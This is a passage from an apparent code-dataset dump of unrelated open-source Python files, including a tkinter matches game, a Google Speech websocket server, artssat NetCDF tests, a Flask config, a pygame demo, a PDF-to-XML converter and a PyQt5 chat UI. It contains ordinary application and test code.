exception_message_args=(FFmpegBinValidationTask.__name__,),\n ))\n", "source": "tropicoo/youtube-dl-ffmpeg-updater-win", "license": "MIT"} {"text": "from tkinter import *\nfrom tkinter import messagebox\nimport PIL\nfrom PIL import Image, ImageTk\n\nwind= Tk()\nwind.title('21 Matches')\nmat= ImageTk.PhotoImage(Image.open(\"images/match.jpg\"))\nls=['|']*21\nfr = LabelFrame(wind, padx=5, pady=5)\nfr.grid(row = 0, column =0, columnspan = 3, padx=8, pady =8)\ndic= {f'l{i}':i for i in range(0,21)}\nfor i in dic:\n col = int(dic[i])\n i = Label(fr, image = mat)\n i.grid(row=0, column = col)\n\n\nbut1= Button(wind, text='1', padx = 10, command = lambda: press(1))\nbut1.grid(row=1, column=0, columnspan = 3)\nbut2= Button(wind, text='2', padx = 10,command = lambda: press(2))\nbut2.grid(row=1, column=1, columnspan = 3)\nmove = Label(wind, text='YOUR MOVE')\nmove.grid(row= 2, column =0, columnspan= 3)\n\n\ndef press(inp):\n user_edit(inp)\n o = 1 if inp==2 else 2\n mac_edit(o)\n\ndef user_edit(i):\n global ls\n global move\n global bl\n global d\n bl = ImageTk.PhotoImage(Image.open(\"images/blank.jpg\"))\n d = {f'l{k}':k for k in range(len(ls)-i,21)}\n ls = ls[:len(ls)-i]\n for _ in d:\n col = int(d[_])\n _ = Label(fr, image = bl)\n _.grid(row=0, column = col)\n but1.config(state= DISABLED)\n but2.config(state= DISABLED)\n move.config(text= 'MY MOVE')\n\ndef push(dic):\n global bl\n global di\n for _ in di:\n wind.after(1000)\n col = int(di[_])\n _ = Label(fr, image = bl)\n _.grid(row=0, column = col)\n\n\ndef mac_edit(o):\n global ls\n global move\n global di\n di = {f'l{k}':k for k in range(len(ls)-o,len(ls))}\n push(di)\n ls = ls[:len(ls)-o]\n but1.after(2000,lambda: but1.config(state= NORMAL))\n but2.after(2000 ,lambda: but2.config(state= NORMAL))\n move.after(2000, lambda: move.config(text= 'YOUR MOVE'))\n if len(ls) == 0:\n ls=['|']*21\n messagebox.showinfo('HAHAH', \"I WIN\")\n wind.quit()\nwind.mainloop()\n", "source": "movy-niaj/21matches-game", "license": "MIT"} {"text": "import asyncio\nimport pathlib\nimport ssl\nimport websockets\nimport os\nimport time\nimport sys\nimport re\nimport traceback\nimport wave\nimport helper as helper\n\nfrom google.cloud import speech_v1p1beta1 as speech\nfrom six.moves import queue\n\nfrom audio_stream import ResumableMediaStream\nfrom config import cfg\nfrom concurrent.futures import ProcessPoolExecutor\nfrom multiprocessing import Process, Queue, Pipe, Value, Manager\nimport json\n\n# dec = opuslib.Decoder(cfg.SAMPLE_RATE, cfg.CHANNELS)\n\n# import logging\n\n# logger = logging.getLogger(\"asyncio\").setLevel(logging.WARNING)\n# logger.addHandler(logging.StreamHandler())\n\n\ndef get_current_time():\n \"\"\"Return Current Time in MS.\"\"\"\n\n return int(round(time.time() * 1000))\n\n\n# Audio recording parameters\n\nRED = \"\\033[0;31m\"\nGREEN = \"\\033[0;32m\"\nYELLOW = \"\\033[0;33m\"\n\n\n# async def say_after(delay, what):\n# await asyncio.sleep(delay)\n# print(what)\n\n\ndef listen_print_loop(responses, stream, parent_conn, stream_closed_flag):\n \"\"\"Iterates through server responses and prints them.\n The responses passed is a generator that will block until a response\n is provided by the server.\n Each response may contain multiple results, and each result may contain\n multiple alternatives; for details, see https://goo.gl/tjCPAU. Here we\n print only the transcription for the top alternative of the top result.\n In this case, responses are provided for interim results as well. If the\n response is an interim one, print a line feed at the end of it, to allow\n the next result to overwrite it, until the response is a final one. For the\n final one, print a newline to preserve the finalized transcription.\n \"\"\"\n\n for response in responses:\n\n # Assign stream closed flag to stream closed\n stream.closed = bool(stream_closed_flag.value)\n if stream.closed is True:\n print(\"Breaking out of loop\")\n break\n\n if get_current_time() - stream.start_time > cfg.STREAMING_LIMIT:\n stream.start_time = get_current_time()\n break\n\n if not response.results:\n continue\n\n result = response.results[0]\n\n if not result.alternatives:\n continue\n\n transcript = result.alternatives[0].transcript\n\n result_seconds = 0\n result_nanos = 0\n\n if result.result_end_time.seconds:\n result_seconds = result.result_end_time.seconds\n\n if result.result_end_time.microseconds:\n result_nanos = result.result_end_time.microseconds * 1000\n\n stream.result_end_time = int((result_seconds * 1000) + (result_nanos / 1000000))\n\n corrected_time = (\n stream.result_end_time\n - stream.bridging_offset\n + (cfg.STREAMING_LIMIT * stream.restart_counter)\n )\n # uncomment next line if want to Display interim results, but with a carriage return at the end of the\n # line, so subsequent lines will overwrite them.\n # parent_conn.send(transcript)\n if result.is_final:\n # Send transcript to parent process through pipe\n parent_conn.send(transcript)\n sys.stdout.write(str(corrected_time) + \": \" + transcript + \"\\n\")\n stream.is_final_end_time = stream.result_end_time\n stream.last_transcript_was_final = True\n else:\n stream.last_transcript_was_final = False\n\n\ndef transcription_loop(\n audio_buffer, parent_conn, stream_closed_flag, audio_recording_frames, lang_code\n):\n # await asyncio.sleep(4)\n # audio_recording_frames = []\n\n audio_manager = ResumableMediaStream(\n cfg.SAMPLE_RATE,\n cfg.CHUNK_SIZE,\n audio_buffer,\n stream_closed_flag,\n audio_recording_frames,\n )\n client = speech.SpeechClient()\n config = speech.types.RecognitionConfig(\n encoding=cfg.ENCODING,\n sample_rate_hertz=cfg.SAMPLE_RATE,\n enable_automatic_punctuation=cfg.ENABLE_AUTOMATIC_PUNCTUATION,\n language_code=cfg.LANGUAGE_CODE,\n max_alternatives=1,\n )\n streaming_config = speech.types.StreamingRecognitionConfig(\n config=config, interim_results=True\n )\n\n try:\n with audio_manager as stream:\n\n while not stream.closed:\n\n stream.closed = bool(stream_closed_flag.value)\n print(\"Value of stream.closed flag: \", stream.closed)\n # sys.stdout.write(YELLOW)\n sys.stdout.write(\n \"\\n\"\n + str(cfg.STREAMING_LIMIT * stream.restart_counter)\n + \": NEW REQUEST\\n\"\n )\n\n stream.audio_input = []\n audio_generator = stream.generator()\n\n requests = (\n speech.types.StreamingRecognizeRequest(audio_content=content)\n for content in audio_generator\n )\n\n responses = client.streaming_recognize(streaming_config, requests)\n\n # Now, put the transcription responses to use.\n listen_print_loop(responses, stream, parent_conn, stream_closed_flag)\n\n if stream.result_end_time > 0:\n stream.final_request_end_time = stream.is_final_end_time\n stream.result_end_time = 0\n stream.last_audio_input = []\n stream.last_audio_input = stream.audio_input\n stream.audio_input = []\n stream.restart_counter = stream.restart_counter + 1\n\n if not stream.last_transcript_was_final:\n sys.stdout.write(\"\\n\")\n stream.new_stream = True\n\n except Exception as error:\n print(\"Error in transcription service: \", error)\n stream_closed_flag.value = True\n print(\"\\n\\n***Transcription process closed \")\n stream_closed_flag.value = True\n\n\nasync def on_data(websocket, path):\n\n print(\"\\n****New Websocket connection Established \", flush=True)\n jsonDataString = await websocket.recv()\n #print(\"\\n\\n****jsonData:\", jsonDataString, flush=True)\n jsonData = json.loads(jsonDataString)\n print(\"\\n\\n****jsonData:\", jsonData, flush=True)\n if jsonData[\"cmd\"] != \"start\":\n print(\"Error in initial packet start packet not found\", flush=True)\n return 0\n\n if jsonData[\"origin\"] != \"mic\" and jsonData[\"origin\"] != \"speaker\":\n print(\"Error in initial packet: Incorrect origin\", flush=True)\n return 0\n\n data_origin = jsonData[\"origin\"]\n\n if \"conversation_id\" not in jsonData:\n print(\"Error in initial packet conversation_id not found\", flush=True)\n #return 0\n\n\n if \"lang\" not in jsonData:\n print(\"Language setting not found\", flush=True)\n \n language_code = jsonData[\"lang\"]\n \n #jsonData[\"lang\"] = \"en-US\"\n jsonData[\"need_punctuation\"] = False\n await websocket.send(json.dumps(jsonData))\n\n conversation_id = jsonData[\"conversation_id\"]\n\n ## Make audio manager\n audio_buffer = Queue()\n parent_conn, child_conn = Pipe()\n stream_closed_flag = Value(\"i\", 0)\n stream_closed_flag.value = False\n\n manager = Manager()\n audio_recording_frames = manager.list()\n reader_process = Process(\n target=transcription_loop,\n args=(\n (audio_buffer),\n (parent_conn),\n (stream_closed_flag),\n (audio_recording_frames),\n (language_code)\n ),\n )\n reader_process.daemon = True\n reader_process.start()\n\n record_audio = []\n\n # conv_id = jsonData[\"\"]\n\n try:\n async for message in websocket:\n #print(\"pkt\", message, flush=True)\n audio_buffer.put(message)\n\n # Comment out next two lines if no recording needed\n record_audio.append(message)\n\n if child_conn.poll():\n msg = child_conn.recv()\n await websocket.send(msg)\n print(\"Received the message: {}\".format(msg), flush=True)\n\n if bool(stream_closed_flag.value) == True:\n websocket.close()\n print(\"Breaking out of aysnc for in loop\")\n break\n\n except (\n websockets.exceptions.ConnectionClosedError,\n websockets.exceptions.ConnectionClosedOK,\n ) as error:\n stream_closed_flag.value = True\n print(\"Websocket connection closed\", error)\n print(\"Stream closed flag set to true\")\n\n print(\"\\n\\n***Websocket connection closed\")\n \n\n print(\"Exit from transcription_loop function saving recorded audio\")\n\n folderName = os.path.join(\"recorded_audio\", data_origin, conversation_id)\n\n os.makedirs(folderName, exist_ok=True)\n\n fileName = \"recorded_audio_\" + helper.generate_filename() + \".wav\"\n full_file_name = os.path.join(folderName, fileName)\n #print(\"\\n*** Writing audio data in file:\", full_file_name)\n\n #helper.write_audio_wave(record_audio, full_file_name, cfg.SAMPLE_RATE, cfg.SAMPLE_WIDTH, cfg.CHANNELS)\n \n # helper.write_audio_flac(\n # record_audio, full_file_name\n # )\n await websocket.close()\n\n\nprint(\"\\n\\n****Google voice recognizer server is now ready\", flush=True)\nprint(\"interface\", cfg.INTERFACE, flush=True)\nprint(\"port\", cfg.PORT, flush=True)\n\nssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\nssl_context.load_cert_chain(\n certfile=cfg.CERT_FILE_PATH, keyfile=cfg.KEY_FILE_PATH\n)\n\nstart_server = websockets.serve(\n on_data, cfg.INTERFACE, cfg.PORT, ssl=ssl_context, max_queue=None\n)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()\n", "source": "keplerlab/enhant", "license": "MIT"} {"text": "\"\"\"\nThis file tests the storing of forward simulation and retrieval\nresults to NetCDF files.\n\"\"\"\nimport artssat\nimport tempfile\nimport numpy as np\nimport shutil\n\nimport os\nimport sys\ntest_path = os.path.join(os.path.dirname(artssat.__file__), \"..\", \"tests\")\nsys.path.append(test_path)\nfrom utils.setup import arts_simulation, arts_retrieval\n\ndef test_io_forward_simulation():\n \"\"\"\n Test storing of forward simulation results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n simulation = arts_simulation()\n simulation.setup(verbosity = 0)\n simulation.initialize_output_file(output_file, [(\"i\", 1, 0), (\"j\", 2, 0)])\n simulation.run_ranges(range(1), range(2))\n\n simulation.output_file.open()\n fh = simulation.output_file.file_handle\n v_names = [v for v in fh.variables]\n assert(all([s.name + \"_frequencies\" in v_names for s in simulation.sensors]))\n assert(all([\"y_\" + s.name in v_names for s in simulation.sensors]))\n for s in simulation.sensors:\n assert(np.all(np.isclose(fh.variables[\"y_\" + s.name][-1, -1, :], s.y.ravel())))\n\n shutil.rmtree(path)\n\ndef test_io_forward_simulation_polarized():\n \"\"\"\n Test storing of forward simulation results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n simulation = arts_simulation()\n for s in simulation.sensors:\n s.stokes_dimension = 2\n\n simulation.setup(verbosity = 0)\n simulation.initialize_output_file(output_file, [(\"i\", 1, 0), (\"j\", 2, 0)])\n simulation.run_ranges(range(1), range(2))\n\n simulation.output_file.open()\n fh = simulation.output_file.file_handle\n v_names = [v for v in fh.variables]\n assert(all([s.name + \"_frequencies\" in v_names for s in simulation.sensors]))\n assert(all([\"y_\" + s.name in v_names for s in simulation.sensors]))\n for s in simulation.sensors:\n assert(np.all(np.isclose(fh.variables[\"y_\" + s.name][-1, -1, :], s.y)))\n\n shutil.rmtree(path)\n\ndef test_unliminted_dimension():\n \"\"\"\n Test storing of forward simulation results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n simulation = arts_simulation()\n simulation.setup(verbosity = 0)\n simulation.initialize_output_file(output_file, [(\"i\", -1, 0), (\"j\", 1, 0)])\n\n simulation.run(0, 0)\n simulation.store_results()\n simulation.run(1, 0)\n simulation.store_results()\n\n simulation.output_file.open()\n fh = simulation.output_file.file_handle\n assert(fh.dimensions[\"i\"].size == 2)\n shutil.rmtree(path)\n\ndef test_store_input():\n \"\"\"\n Test storing of forward simulation results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n simulation = arts_simulation()\n simulation.setup(verbosity = 0)\n dimensions = [(\"i\", -1, 0), (\"j\", 1, 0)]\n inputs = [(\"temperature\", (\"altitude\",))]\n simulation.initialize_output_file(output_file,\n dimensions,\n inputs=inputs)\n simulation.run_ranges(range(3), range(1))\n\n simulation.output_file.open()\n fh = simulation.output_file.file_handle\n temperature = fh[\"inputs\"][\"temperature\"][0, :]\n assert(np.allclose(temperature,\n simulation.data_provider.get_temperature(0, 0)))\n shutil.rmtree(path)\n\ndef test_io_retrieval():\n \"\"\"\n Test storing of retrieval results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n\n simulation = arts_simulation()\n simulation.setup(verbosity = 0)\n simulation.run(verbosity = 0)\n y = np.copy(simulation.workspace.y)\n\n retrieval = arts_retrieval()\n retrieval.setup(verbosity = 0)\n retrieval.retrieval.y = y\n\n retrieval.initialize_output_file(output_file, [(\"i\", 1, 0), (\"j\", 2, 0)])\n retrieval.run_ranges(range(1), range(2))\n\n fh = retrieval.output_file.file_handle\n g_names = [g for g in fh.groups]\n assert(g_names == [\"Retrieval\"])\n\n g = fh[\"Retrieval\"]\n v_names = [v for v in g.variables]\n v_names_r = [\"y_\" + s.name for s in simulation.sensors] \\\n + [\"yf_\" + s.name for s in simulation.sensors] \\\n + [\"diagnostics\", \"O2\"]\n\ndef test_io_multiview():\n \"\"\"\n Test storing of retrieval results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n\n simulation = arts_simulation(multiview=True)\n simulation.setup(verbosity = 0)\n simulation.initialize_output_file(output_file, [(\"i\", 1, 0), (\"j\", 2, 0)])\n simulation.run_ranges(range(1), range(2))\n\n simulation.output_file.open()\n fh = simulation.output_file.file_handle\n fh.dimensions\n assert(fh[\"ici_position\"][:].shape[-1] == 3)\n assert(fh[\"ici_line_of_sight\"][:].shape[-1] == 3)\n\ndef test_io_dimensions():\n \"\"\"\n Test storing of retrieval results to output file.\n \"\"\"\n path = tempfile.mkdtemp()\n output_file = os.path.join(path, \"output.nc\")\n\n simulation = arts_simulation(multiview=True)\n simulation.setup(verbosity = 0)\n simulation.initialize_output_file(output_file, [(\"i\", 1, 0), (\"j\", 2, 0)])\n simulation.run_ranges(range(1), range(2))\n\n dimensions = simulation.output_file.dimensions\n assert(dimensions[\"i\"] == 1)\n assert(dimensions[\"j\"] == 2)\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "\"\"\"Flask configuration\"\"\"\n\n\nclass Config:\n \"\"\"Setting up config variables\"\"\"\n\n # General\n FLASK_ENV = \"development\"\n TESTING = True\n\n # Database\n SQLALCHEMY_DATABASE_URI = \"sqlite:///sqlite_db/catalogue.db\"\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\n # JWT\n JWT_SECRET_KEY = 'super-secret'\n\n # Tests\n FAKE_DATABASE_URI = \"sqlite:///tests/test.db\"\n FAKE_USER = 'baJeKcrEed09'\n FAKE_USER_PASSWORD = 'XenomorpH1993'\n\n JOKE_FAKE_USER = 'xamarine099'\n JOKE_FAKE_USER_PASSWORD = 'xiliojio31'\n\n FAKE_JOKE = 'A horse and a pigeon walk into a bar...'\n ANOTHER_FAKE_JOKE = 'What\\'s the best thing about Switzerland? ' \\\n 'I don\\'t know, but the flag is a big plus.'\n\n # Messages\n BAD_PARAMETER = \"User\\'s name can only contain digits \" \\\n \"and letters and must be at least 6 \" \\\n \"characters long, 20 characters at max\"\n TOO_LONG = b\"Joke string is too long. Max allowed size is 900 characters\"\n\n # Bounds\n JOKES_LIMIT = 100\n\n # Foreign APIs\n FOREIGN_API = {\n 'geek-jokes': 'https://geek-jokes.sameerkumar.website/api?format=json',\n }\n", "source": "Ian-Gabaraev/joke-rest-api", "license": "MIT"} {"text": "\"\"\"\nworkon game\n\nResources:\nhttps://opengameart.org/content/isometric-city\nhttps://kenney.nl/assets/road-textures\n\nInfo:\nhttps://stackoverflow.com/questions/40443430/displaying-an-image-using-a-class-on-pygame\n\"\"\"\nimport pygame\nfrom pygame.locals import *\n\n\nclass Road(pygame.sprite.Sprite):\n def __init__(self, fp, dx, dy, width=256, height=256) -> None:\n super().__init__()\n\n # To ensure transparency works, open image w/ Gimp to change mode:\n # Image -> Mode -> Indexed... and use the defaults\n self.image = pygame.transform.scale(pygame.image.load(fp).convert(), (width, height))\n self.rect = self.image.get_rect()\n self.rect.x = dx\n self.rect.y = dy\n\n def draw(self, surface: pygame.Surface) -> None:\n surface.blit(self.image, self.rect)\n\n\nclass Car(pygame.sprite.Sprite):\n def __init__(self, fp, dx, dy, width=128, height=64) -> None:\n super().__init__()\n\n self.image = pygame.transform.scale(pygame.image.load(fp).convert(), (width, height))\n self.rect = self.image.get_rect()\n self.rect.x = dx\n self.rect.y = dy\n self.speed = 5\n\n def draw(self, surface: pygame.Surface) -> None:\n surface.blit(self.image, self.rect)\n\n def move_up(self) -> None:\n self.rect.y -= self.speed\n\n def move_down(self) -> None:\n self.rect.y += self.speed\n\n\ndef main(surface: pygame.Surface) -> None:\n Road(\"assets/roads/PNG/Default/roadTexture_13.png\", 0, 100).draw(surface)\n Road(\"assets/roads/PNG/Default/roadTexture_13.png\", 256, 100).draw(surface)\n Road(\"assets/roads/PNG/Default/roadTexture_13.png\", 512, 100).draw(surface)\n\ndef event_handler(surface: pygame.Surface, background: pygame.Surface, car: Car) -> None:\n for event in pygame.event.get():\n print(f\"{event}: {pygame.event.event_name(event.type)}\")\n if event.type == QUIT or (event.type == KEYDOWN and (event.key == K_ESCAPE or event.key == K_q)):\n pygame.quit()\n quit()\n elif event.type == KEYDOWN and event.key == K_d:\n pygame.draw.rect(game_display, (200, 200, 200), pygame.Rect(10, 10, 100, 100))\n elif event.type == MOUSEBUTTONDOWN and event.button == 1:\n print(\"mouse click!\")\n pygame.draw.rect(game_display, (255, 50, 50), pygame.Rect(*event.pos, 20, 20))\n \n if event.type == KEYDOWN:\n surface.blit(background, car.rect, car.rect)\n\n if event.key == K_UP:\n car.move_up()\n elif event.key == K_DOWN:\n car.move_down()\n\n car.draw(surface)\n\nif __name__ == \"__main__\":\n # Init pygame\n pygame.init()\n\n display_width = 800\n display_height = 600\n\n game_display = pygame.display.set_mode((display_width, display_height))\n pygame.display.set_caption('Street Game')\n\n clock = pygame.time.Clock() \n\n # Dirt background\n background_image = pygame.image.load(\"assets/dirt_2.png\").convert()\n game_display.blit(background_image, (0, 0))\n\n # Game init\n main(game_display)\n pygame.display.update()\n car = Car(\"assets/red_car.png\", 248, 164)\n car.draw(game_display)\n\n while True:\n event_handler(game_display, background_image, car)\n\n pygame.display.update()\n clock.tick()\n", "source": "RonquilloAeon/street-game", "license": "MIT"} {"text": "import unittest\nfrom resources import inhalt\nfrom pyStemaj import helper_extractWebsite, byteStream, bytesExtractor\n\nclass Test_Inhalt(unittest.TestCase):\n\n def test_neueste(self):\n arr = inhalt.listeDerNeuestenFilme()\n self.assertEqual(len(arr), 2)\n\n def test_000(self):\n #helper_extractWebsite.run(\"https://www.rbb-online.de/brandenburgaktuell/landschleicher/a-z.html\", \"resources/tests/file.000\")\n file = byteStream.fromFile(\"resources/tests/file.000\")\n self.assertEqual(len(file), 918762)\n data = bytesExtractor.extractInnerPartAndSplit(file, b\"tab_content\", b\"commentSaved\", b\"\")\n self.assertEqual(len(data), 1380)\n inhalt.listeDerLandkreiseByData(data)\n self.assertEqual(len(inhalt.Landschleicher.beitraege), 16)\n\n", "source": "stemaj/plugin.video.landschleicher", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright The IETF Trust 2018, All Rights Reserved\n\nfrom __future__ import unicode_literals, print_function, division\n\nimport dict2xml\nimport io\nimport json\nimport lxml\nimport os\nimport PyPDF2 as pypdf2\nimport sys\n\ndef walk(obj, seen):\n dobj = {} # Direct objects\n iobj = [] # Indirect objects\n if hasattr(obj, 'keys'):\n for key in obj.keys():\n k = key[1:] if key.startswith('/') else key\n d, i = walk(obj[key], seen)\n dobj[k] = d\n iobj += i\n if hasattr(obj, 'extractText'):\n dobj['text'] = obj.extractText()\n elif isinstance(obj, pypdf2.generic.ArrayObject):\n dobj = []\n for o in obj:\n d, i = walk(o, seen)\n dobj.append(d)\n iobj += i\n elif isinstance(obj, pypdf2.generic.BooleanObject):\n dobj = obj.value\n elif isinstance(obj, pypdf2.generic.NameObject):\n dobj = str(obj)\n elif isinstance(obj, pypdf2.generic.NumberObject):\n dobj = int(obj)\n elif isinstance(obj, pypdf2.generic.FloatObject):\n dobj = float(obj)\n elif isinstance(obj, pypdf2.generic.IndirectObject):\n dobj = str(obj)\n if (obj.idnum, obj.generation) not in seen:\n seen.add((obj.idnum, obj.generation))\n d, i = walk(obj.getObject(), seen)\n if isinstance(d, dict):\n d['IdNum'] = obj.idnum\n d['Generation'] = obj.generation\n else:\n dobj = d\n iobj += i\n iobj.append(d)\n elif isinstance(obj, pypdf2.generic.TextStringObject):\n dobj = str(obj)\n else:\n raise RuntimeError(\"Unexpected object type: %s\" % type(obj))\n\n if hasattr(obj, 'idnum'):\n seen.add((obj.idnum, obj.generation))\n\n return dobj, iobj\n\ndef pyobj(filename=None, bytes=None):\n seen = set()\n #\n pdffile = io.BytesIO(bytes) if bytes else io.open(filename, 'br')\n reader = pypdf2.PdfFileReader(pdffile, strict=False)\n info = reader.getDocumentInfo()\n doc = {}\n for key in info.keys():\n k = key[1:] if key.startswith('/') else key\n doc[k] = info[key]\n iobj = []\n pages = []\n for num in range(reader.getNumPages()):\n page = reader.getPage(num)\n obj = page.getObject()\n d, i = walk(obj, seen)\n #pages[num+1] = d\n pages.append(d)\n iobj += i\n pdffile.close()\n #\n doc['Page'] = pages\n doc['IndirectObject'] = iobj\n return doc\n\ndef xmltext(filename=None, obj=None, bytes=None):\n if obj is None:\n obj = pyobj(filename=filename, bytes=bytes)\n# for i,p in enumerate(obj['Pages']):\n# obj['Pages'][i] = {'Page': p}\n return dict2xml.dict2xml(obj, wrap=\"Document\") \n\ndef xmldoc(filename, text=None, bytes=None):\n if text is None:\n text = xmltext(filename=filename, bytes=bytes)\n return lxml.etree.fromstring(text)\n\ndef main():\n for filename in sys.argv[1:]:\n if not os.path.exists(filename):\n print('Could not find \"%s\"' % filename)\n print('File: %s' % filename)\n doc = pyobj(filename)\n with io.open(filename+'.json', 'w', encoding='utf-8') as j:\n json.dump(doc, j, indent=2)\n print('Wrote: %s' % j.name)\n with io.open(filename+'.xml', 'w', encoding='utf-8') as x:\n x.write(xmltext(filename, doc))\n print('Wrote: %s' % x.name)\n\nif __name__ == \"__main__\":\n main()", "source": "ietf-svn-conversion/xml2rfc", "license": "BSD-3-Clause"} {"text": "import ipywidgets as widgets\nfrom traitlets import Unicode, Bool, Tuple, Int\n\n# See js/lib/reset.js for the frontend counterpart to this file.\n\n\n@widgets.register\nclass Reset(widgets.DOMWidget):\n \"\"\"A reset widget.\"\"\"\n\n # Name of the widget view class in front-end\n _view_name = Unicode('ResetView').tag(sync=True)\n\n # Name of the widget model class in front-end\n _model_name = Unicode('ResetModel').tag(sync=True)\n\n # Name of the front-end module containing widget view\n _view_module = Unicode('ipyleaflet-reset').tag(sync=True)\n\n # Name of the front-end module containing widget model\n _model_module = Unicode('ipyleaflet-reset').tag(sync=True)\n\n # Version of the front-end module containing widget view\n _view_module_version = Unicode('^0.1.0').tag(sync=True)\n # Version of the front-end module containing widget model\n _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n # Widget specific property.\n # Widget properties are defined as traitlets. Any property tagged with\n # `sync=True`\n # is automatically synced to the frontend *any* time it changes in Python.\n # It is synced back to Python from the frontend *any* time the model is\n # touched.\n value = Bool(False).tag(sync=True)\n center = Tuple((0, 0)).tag(sync=True)\n zoom = Int(2).tag(sync=True)\n position = Unicode(\"bottomleft\").tag(sync=True)\n\n def __init__(self, center, zoom, ipyleaflet_map, *args,\n position=\"bottomleft\", **kwargs):\n super().__init__(*args, **kwargs)\n self.center = center\n self.zoom = zoom\n self.position = position\n self.ipyleaflet_map = ipyleaflet_map\n self.ipyleaflet_map.add_control(self)\n self.observe(self.on_value_change, names=\"value\")\n\n def on_value_change(self, change):\n if change[\"new\"]:\n self.ipyleaflet_map.zoom = self.zoom\n self.ipyleaflet_map.center = self.center\n self.value = False\n", "source": "weatherforce/ipyleaflet-reset", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'client.ui'\n#\n# Created by: PyQt5 UI code generator 5.11.3\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nclass Ui_MainClientWindow(object):\n def setupUi(self, MainClientWindow):\n MainClientWindow.setObjectName(\"MainClientWindow\")\n MainClientWindow.resize(756, 534)\n MainClientWindow.setMinimumSize(QtCore.QSize(756, 534))\n self.centralwidget = QtWidgets.QWidget(MainClientWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.label_contacts = QtWidgets.QLabel(self.centralwidget)\n self.label_contacts.setGeometry(QtCore.QRect(10, 0, 101, 16))\n self.label_contacts.setObjectName(\"label_contacts\")\n self.btn_add_contact = QtWidgets.QPushButton(self.centralwidget)\n self.btn_add_contact.setGeometry(QtCore.QRect(10, 450, 121, 31))\n self.btn_add_contact.setObjectName(\"btn_add_contact\")\n self.btn_remove_contact = QtWidgets.QPushButton(self.centralwidget)\n self.btn_remove_contact.setGeometry(QtCore.QRect(140, 450, 121, 31))\n self.btn_remove_contact.setObjectName(\"btn_remove_contact\")\n self.label_history = QtWidgets.QLabel(self.centralwidget)\n self.label_history.setGeometry(QtCore.QRect(300, 0, 391, 21))\n self.label_history.setObjectName(\"label_history\")\n self.text_message = QtWidgets.QTextEdit(self.centralwidget)\n self.text_message.setGeometry(QtCore.QRect(300, 360, 441, 71))\n self.text_message.setObjectName(\"text_message\")\n self.label_new_message = QtWidgets.QLabel(self.centralwidget)\n self.label_new_message.setGeometry(QtCore.QRect(300, 330, 450, 16)) # \u041f\u0440\u0430\u0432\u043a\u0430 \u0442\u0443\u0442\n self.label_new_message.setObjectName(\"label_new_message\")\n self.list_contacts = QtWidgets.QListView(self.centralwidget)\n self.list_contacts.setGeometry(QtCore.QRect(10, 20, 251, 411))\n self.list_contacts.setObjectName(\"list_contacts\")\n self.list_messages = QtWidgets.QListView(self.centralwidget)\n self.list_messages.setGeometry(QtCore.QRect(300, 20, 441, 301))\n self.list_messages.setObjectName(\"list_messages\")\n self.btn_send = QtWidgets.QPushButton(self.centralwidget)\n self.btn_send.setGeometry(QtCore.QRect(610, 450, 131, 31))\n self.btn_send.setObjectName(\"btn_send\")\n self.btn_clear = QtWidgets.QPushButton(self.centralwidget)\n self.btn_clear.setGeometry(QtCore.QRect(460, 450, 131, 31))\n self.btn_clear.setObjectName(\"btn_clear\")\n MainClientWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainClientWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 756, 21))\n self.menubar.setObjectName(\"menubar\")\n self.menu = QtWidgets.QMenu(self.menubar)\n self.menu.setObjectName(\"menu\")\n self.menu_2 = QtWidgets.QMenu(self.menubar)\n self.menu_2.setObjectName(\"menu_2\")\n MainClientWindow.setMenuBar(self.menubar)\n self.statusBar = QtWidgets.QStatusBar(MainClientWindow)\n self.statusBar.setObjectName(\"statusBar\")\n MainClientWindow.setStatusBar(self.statusBar)\n self.menu_exit = QtWidgets.QAction(MainClientWindow)\n self.menu_exit.setObjectName(\"menu_exit\")\n self.menu_add_contact = QtWidgets.QAction(MainClientWindow)\n self.menu_add_contact.setObjectName(\"menu_add_contact\")\n self.menu_del_contact = QtWidgets.QAction(MainClientWindow)\n self.menu_del_contact.setObjectName(\"menu_del_contact\")\n self.menu.addAction(self.menu_exit)\n self.menu_2.addAction(self.menu_add_contact)\n self.menu_2.addAction(self.menu_del_contact)\n self.menu_2.addSeparator()\n self.menubar.addAction(self.menu.menuAction())\n self.menubar.addAction(self.menu_2.menuAction())\n\n self.retranslateUi(MainClientWindow)\n self.btn_clear.clicked.connect(self.text_message.clear)\n QtCore.QMetaObject.connectSlotsByName(MainClientWindow)\n\n def retranslateUi(self, MainClientWindow):\n _translate = QtCore.QCoreApplication.translate\n MainClientWindow.setWindowTitle(_translate(\"MainClientWindow\", \"\u0427\u0430\u0442 \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 alpha release\"))\n self.label_contacts.setText(_translate(\"MainClientWindow\", \"\u0421\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432:\"))\n self.btn_add_contact.setText(_translate(\"MainClientWindow\", \"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\"))\n self.btn_remove_contact.setText(_translate(\"MainClientWindow\", \"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\"))\n self.label_history.setText(_translate(\"MainClientWindow\", 